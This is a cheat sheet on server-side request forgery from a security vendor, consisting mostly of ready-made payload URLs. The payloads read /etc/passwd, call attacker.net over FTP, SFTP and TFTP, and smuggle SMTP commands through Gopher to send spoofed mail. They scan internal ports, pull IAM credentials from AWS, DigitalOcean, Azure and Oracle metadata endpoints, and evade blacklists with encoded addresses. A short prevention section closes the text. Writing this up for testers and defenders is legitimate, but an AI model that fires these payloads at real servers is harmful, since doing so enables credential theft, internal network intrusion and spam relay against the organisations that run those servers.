NeuraLegion

Cheat Sheet

SSRF

Intro

Server-Side Request Forgery (SSRF) attacks allow an attacker to make requests to any domains through a vulnerable server.

Usually, attackers make the server connect back to itself, to some internal service or resource, or to its own cloud provider.

SSRF attacks abuse any type of URL or file upload functionality in application to send malformed URLs. Vulnerable places are parameters that accept URLs or files.

An SSRF exploit that causes connections to external third-party systems might result in malicious attacks that appear to originate from the organization hosting the vulnerable application, causing potential legal liabilities and reputational damage.

Exposure

Successful SSRF attacks usually result in accessing unauthorized data. That data can be server files, cloud provider metadata, open ports.

Besides accessing data, SSRF attacks can also scan internal networks. This lets a hacker see which services are running and let them connect to a service and start chaining exploits.

SSRF can also be chained into other attacks that can be much more damaging, These range from reflected XSS all the way to removing code executions.

Attacks

There are two main types of SSRF attacks. The first is where the attack is done against the server itself by using a loopback network interface (127.0.0.1 or localhost).

The second is where the trust relationship between the abused server being attacked and other devices on the same network that can't be accessed through other means. Or even using that server to gather information about the cloud provider that is being used (AWS, GCE, Azure...).

Injecting payloads

SSRF is injected into any parameter that accepts a URL or a file. When injecting SSRF payloads in a parameter that accepts a file, the attacker has to change Content-Type to text/plain and then inject the payload instead of a file.

Internal resources

Accessing internal resources can mean a couple of different things. It can be achieved by accessing the /admin panel that is only accessible from within the internal network. Reading files from the server. This can be done using the file schema (file://path/to/file).

Internal pages

Some common exploits for accessing internal pages include:

https://target.com/page?url=http://127.0.0.1/admin

https://target.com/page?url=http://127.0.0.1/phpmyadmin

https://target.com/page?url=http://127.0.0.1/pgadmin

https://target.com/page?url=http://127.0.0.1/any_interesting_page

Internal files via URL scheme

Attacking the URL scheme allows an attacker to fetch files from a server and attack internal services.

Some common exploits for accessing internal files include:

https://target.com/page?url=file://etc/passwd
https://target.com/page?url=file:///etc/passwd
https://target.com/page?url=file://\/\/etc/passwd
https://target.com/page?url=file://path/to/file

Internal services via URL scheme

You can use a URL scheme to connect to certain services.

For file transfer protocols:

https://target.com/page?url=ftp://attacker.net:11211/

https://target.com/page?url=sftp://attacker.net:11111/

https://target.com/page?url=tftp://attacker.net:123456/TESTUDP

Abusing LDAP

https://target.com/page?url=ldap://127.0.0.1/%0astats%0aquit

https://target.com/page?url=ldap://localhost:11211/%0astats%0aquit

Makes request like:
stats
quit

Abusing Gopher

https://target.com/page?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%attacker@attack.net%3E%250d%250aRCPT%20TO%3A%3Cvictim@target.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BAttacker%5D%20%3Cattacker@attack.net%3E%250d%250aTo%3A%20%3Cvictime@target.com%3E%250d%250aDate%3A%20Fri%2C%2013%20Mar%202020%2003%3A33%3A00%20-0600%250d%250aSubject%3A%20Hacked%250d%250a%250d%250aYou%27ve%20been%20exploited%20%3A%28%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

Makes request like:
HELO localhost
MAIL FROM:<attacker@attack.net>
RCPT TO:<victim@target.com>
DATA
From: [Attacker] <attacker@attack.net>
To: <victim@target.com>
Date: Fri, 13 Mar 2020 03:33:00 -0600
Subject: Hacked

You've been exploited :(
QUIT

XSPA

Cross-Site Port Attack (XSPA) is a type of SSRF where an attacker is able to scan the server for its open ports. This is usually done by using the loopback interface on the server (127.0.0.1 or localhost) with the addition of the port that is being scanned (21, 22, 25...).

Some examples are:

https://target.com/page?url=http://localhost:22/

https://target.com/page?url=http://127.0.0.1:25/

https://target.com/page?url=http://127.0.0.1:3389/

https://target.com/page?url=http://localhost:PORT/

Besides scanning for ports an attacker might also run a scan of running hosts by trying to ping private IP addresses:

- 192.168.0.0/16
- 172.16.0.0/12
- 10.0.0.0/8

Cloud provider metadata

With SSRF an attacker is able to read metadata of the cloud provider that you use, be it AWS, Google Cloud, Azure, DigitalOcean, etc. This is usually done by using the private addressing that the provider listed in their documentation.

AWS

For AWS instead of using localhost or 127.0.0.1 attackers use the 169.254.169.254 address for exploits.

Significant information can be extracted from AWS metadata, from public keys, security credentials, hostnames, IDs, etc.

Some common exploits include:

https://target.com/page?url=http://169.254.169.254/latest/user-data

https://target.com/page?url=http://169.254.169.254/latest/user-data/iam/security-credentials/ROLE_NAME

https://target.com/page?url=http://169.254.169.254/latest/meta-data

https://target.com/page?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

https://target.com/page?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

https://target.com/page?url=http://169.254.169.254/latest/meta-data/ami-id

https://target.com/page?url=http://169.254.169.254/latest/meta-data/hostname

https://target.com/page?url=http://169.254.169.254/latest/meta-data/public-keys

https://target.com/page?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy

https://target.com/page?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access

https://target.com/page?url=http://169.254.169.254/latest/dynamic/instance-identity/document

https://target.com/page?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Additional links can be found in the official documentation of AWS.

DigitalOcean

Similar to AWS, DigitalOcean uses 169.254.169.254 for their services and checks the documentation for more information.

https://target.com/page?url=http://169.254.169.254/metadata/v1.json

https://target.com/page?url=http://169.254.169.254/metadata/v1/id

https://target.com/page?url=http://169.254.169.254/metadata/v1/user-data

https://target.com/page?url=http://169.254.169.254/metadata/v1/hostname

https://target.com/page?url=http://169.254.169.254/metadata/v1/region

https://target.com/page?url=http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

Azure

Azure is more limited than other cloud providers in this regard. Check the official documentation for more information.

Azure requires header Metadata: true.

https://target.com/page?url=http://169.254.169.254/metadata/maintenance

https://target.com/page?url=http://169.254.169.254/metadata/instance?api-version=2019-10-01

https://target.com/page?url=http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2019-10-01&format=text

Oracle Cloud

Oracle cloud uses the 192.0.0.192 address.

https://target.com/page?url=http://192.0.0.192/latest/

https://target.com/page?url=http://192.0.0.192/latest/meta-data/

https://target.com/page?url=http://192.0.0.192/latest/user-data/

https://target.com/page?url=http://192.0.0.192/latest/attributes/

Bypasses

One way to protect against SSRF is to blacklist certain domains and IP addresses. Yet, blacklisting isn't really a good defense technique as hackers can use bypasses to avoid your security measures.

Bypass using HTTPS

Common blacklists blocking everything on port 80 or the http scheme. but the server will handle requests to 443 or https just fine.

Instead of using http://127.0.0.1/ use: https://127.0.0.1/ https://localhost/

Bypass localhost

The most common blacklist is blacklisting IP addresses like 127.0.0.1 or localhost. To bypass these blacklists you can use:

- With [::], abuses IPv6 to exploit
  - http://[::]/
  - http://[::]:80/
  - http://0000::1/
  - http://0000::1:80/
- With domain redirection, useful when all IP addresses are blacklisted
  - http://localtest.me
  - http://test.app.127.0.0.1.nip.io
  - http://test-app-127-0-0-1.nip.io
  - httP://test.app.127.0.0.1.xip.io
- With CIDR, useful when just 127.0.0.1 is whitelisted
  - http://127.127.127.127/
  - http://127.0.1.3/
  - https:/127.0.0.0/
- With IPv6/IPv4 address embedding, useful when both IPv4 and IPv6 are blacklisted (but blacklisted badly)
  - http://[0:0:0:0:0:ffff:127.0.0.1]/
- With decimal IP location, really useful if dots are blacklisted
  - http://0177.0.0.1/ → (127.0.0.1)
  - http://2130706433/ → (127.0.0.1)
  - http://3232235521/ → (192.168.0.1)
  - http://3232235777/ → (192.168.1.1)
- With malformed URLs, useful when port is blacklisted
  - localhost:+11211aaa
  - localhost:00011211aaaa
  - localhost:11211
- With shorthanding IP addresses by dropping zeros, useful when full IP address is whitelisted
  - http://0/
  - http://127.1/
  - http://127.0.1/
- With enclosed alphanumerics, useful when just plain ASCII characters are blacklisted but servers interpret enclosed alphanumerics as normal.
  - http://①②⑦.⓪.⓪.①/
  - http://❶❷❼.❽.❽.❶/
- With bash variables (cURL only)
  - curl -v "http://attacker$google.com"; $google = ""
- Against weak parsers (these go to http://127.2.2.2:80)
  - http://127.1.1.1:80\@127.2.2.2:80/
  - http://127.1.1.1:80\@@127.2.2.2:80/
  - http://127.1.1.1:80:\@@127.2.2.2:80/
  - http://127.1.1.1:80#\@127.2.2.2:80/

Bypass 169.254.169.254 address

The most common bypass for AWS addresses is changing them to get past the blacklist of 169.245.169.254.

- http://169.254.169.254.xip.io/
- http://1ynrnhl.xip.io
- http://425.510.425.510 - dotted decimal with overflow
- http://2852039166 - dotless decimal
- http://7147006462 - dotless decimal with overflow
- http://0xA9.0xFE.0xA9.0xFE - dotted hexadecimal
- http://0xA9FEA9FE - dotless hexadecimal
- http://0×41414141A9FEA9FE - dotless hexadecimal with overflow
- http://0251.0376.0251.0376 - dotted octal
- http://0251.00376.000251.0000376 - dotted octal with padding

Prevention

DNS
The easiest way to remediate SSRF is to whitelist any domain or address that your application accesses.

Blacklisting and regex have the same issue, someone will eventually find a way to exploit them

Responses
Never send a raw response body from the server to the client. Responses that the client receives needs to be expected.

URL schemas
Allow only URL schemas that your application uses. There is no need to have ftp://, file:/// or even http:// enabled if you only use https://.

And if you do use other schemas make sure that they're only accessible from the part that needs to access them and not from anywhere else.

Authentication
Make sure that authentication is enabled on any service that is running inside your network even if they don't require it. Services like memcached, redis, mongo and others don't require authentication but can be exploited.

Input sanitization and validation
Never trust user input.

Always sanitize any input that the user sends to your application. Remove bad characters, standardize input (double quotes instead of single quotes for example).

After sanitization make sure to validate sanitized input to make sure nothing bad passed through.

Summary

SSRF is a very dangerous vulnerability that can leak a lot of critical information about internals of a network, and then be chained to other much more dangerous attacks, but with the correct steps it can be remedied.